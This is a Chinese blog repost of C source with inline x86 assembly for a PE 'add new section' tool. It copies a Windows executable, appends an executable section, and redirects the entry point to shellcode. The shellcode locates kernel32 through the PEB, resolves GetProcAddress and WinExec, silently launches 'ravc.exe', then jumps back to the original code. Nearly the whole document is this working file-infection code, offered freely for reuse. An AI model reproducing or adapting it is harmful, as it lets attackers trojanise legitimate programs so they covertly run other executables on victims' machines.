PE 添加新节 执行指定程序

来源:互联网 发布:unity3d教学视频 编辑:程序博客网 时间:2024/05/16 08:30
/********************************************************************
author:  Hanker98
purpose: 增加一个新节用于C盘的程序
被执行程序可以在 windows 或system32 和被修改程序的目录都可以运行成功
*********************************************************************/
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>


#define DEBUG    1
#define EXTRA_CODE_LENGTH 18
#define SECTION_SIZE  0x1000
#define SECTION_NAME  ".hhkr"
#define FILE_NAME_LENGTH 30


int Align(int size, int ALIGN_BASE)
{
int ret;
int result;

assert( 0 != ALIGN_BASE );

result = size % ALIGN_BASE;
if (0 != result)
{
  ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
  ret = size;
}

return ret;
}

void hellp()
{
printf("用法:/n");
printf("peexe.exe FileName/n");
printf("eg: /n");
printf("/peexe.exe test.exe/n");
printf("Coded by:Hanker98/n");
}



int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
IMAGE_SECTION_HEADER SectionHeader;
IMAGE_SECTION_HEADER newSectionHeader;
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;
unsigned int newEP;
unsigned int oldEP;
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;



if (NULL == argv[1])
{
  puts("参数错误~~~/n");
  hellp();
  exit(0);
}
strcpy(srcFileName, argv[1]);
strcpy(newFileName, srcFileName);
strcat(newFileName, ".exe");

if (!CopyFile(srcFileName, newFileName, FALSE))
{
  puts("Copy file failed");
  exit(0);
}

pNewFile = fopen(newFileName, "rb+");
if (NULL == pNewFile)
{
  puts("Open file failed");
  exit(0);
}


fseek(pNewFile, 0, SEEK_SET);

fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
  puts("Not a valid PE file");
  exit(0);
}


fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
  puts("Not a valid PE file");
  exit(0);
}


numOfSections = NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;

oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;

for (i = 0; i < numOfSections; i++)
{
  fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
}


extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
NtHeader.FileHeader.NumberOfSections++;

memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));

strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));


newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,
  SECTION_ALIGN_MENT);

newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);

newSectionHeader.PointerToRawData = Align
  (
  SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,
  FILE_ALIGN_MENT
  );

newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);

newSectionHeader.Characteristics = 0xE0000020;

NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT); //修正SizeOfCode
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage
    + Align(SECTION_SIZE, SECTION_ALIGN_MENT);

NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;



fseek(pNewFile, 0, SEEK_END);
newEP = newSectionHeader.VirtualAddress;
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;

fseek(
  pNewFile,
  DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)
  + numOfSections * sizeof(IMAGE_SECTION_HEADER),
  SEEK_SET
  );
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);


fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);


fseek(pNewFile, 0, SEEK_END);

for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
{
  fputc(0, pNewFile);
}

fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
goto GetExtraData;


extra_data_start:   
    __asm
    {
        push ebp;
        sub  esp, 0x40;
        mov  ebp,esp;

        push ebp;
            mov eax, fs:0x30           
            mov eax, [eax + 0x0c]       
            mov esi, [eax + 0x1c]       
            lodsd               
            mov edi, [eax + 0x08]       
           
            mov        eax, [edi+3Ch]           
            mov        edx,[edi+eax+78h]
            add        edx,edi                   
            mov        ecx,[edx+18h]               
                    mov        ebx,[edx+20h]                
            add        ebx,edi                                           
search:
            dec        ecx
            mov        esi,[ebx+ecx*4]               
            add        esi,edi                       
            ;GetProcAddress
            mov            eax,0x50746547
            cmp            [esi],    eax;   
            jne        search
            mov            eax,0x41636f72
            cmp            [esi+4],eax;   
            jne        search               
           
               
                    mov        ebx,[edx+24h]
            add        ebx,edi               
            mov        cx,[ebx+ecx*2]           
                    mov        ebx,[edx+1Ch]
            add        ebx,edi               
            mov        eax,[ebx+ecx*4]           
            add        eax,edi               


            mov    [ebp+40h], eax           
       
            push dword ptr 0x00636578
            push dword ptr 0x456E6957
            push esp
            push edi
            call [ebp+40h]
            mov  [ebp+4],  eax
            push 0
call EXEC;   
        _emit 'r';       
        _emit 'a';
        _emit 'v';
        _emit 'c';       
        _emit '.';
        _emit 'e';
        _emit 'x';
        _emit 'e';
        _emit '/0';     //运行程序的 名字,   

EXEC:
        pop edi;   
        push edi;
        call [ebp+4] ; 调用 WinExec("ravc.exe")
        add esp, 0x40;
        pop ebp;
       
            }
extra_data_end:

GetExtraData:
    _asm
    {
    pushad;
    lea eax, extra_data_start;
    mov pExtra_data, eax;
    lea edx, extra_data_end;
    sub edx, eax;
    mov extra_data_real_length, edx;
    popad;
        }

for (i = 0; i < extra_data_real_length; i++)
{
  fputc(pExtra_data[i], pNewFile);
}

oldEP = oldEP - (newEP + extra_data_real_length) - 5;
jmp = 0xE9;
fwrite(&jmp, sizeof(jmp), 1, pNewFile);
fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);

fclose(pNewFile);

return 0;
}




代码来自网络+自己的思路和意图修改后的产物 所以此代码没有版权的限制
可以随意的修改增减,如果你修改了 感觉比此代码功能好的话 希望你也能贴出代码来 让大家学学~~~~~~~~~~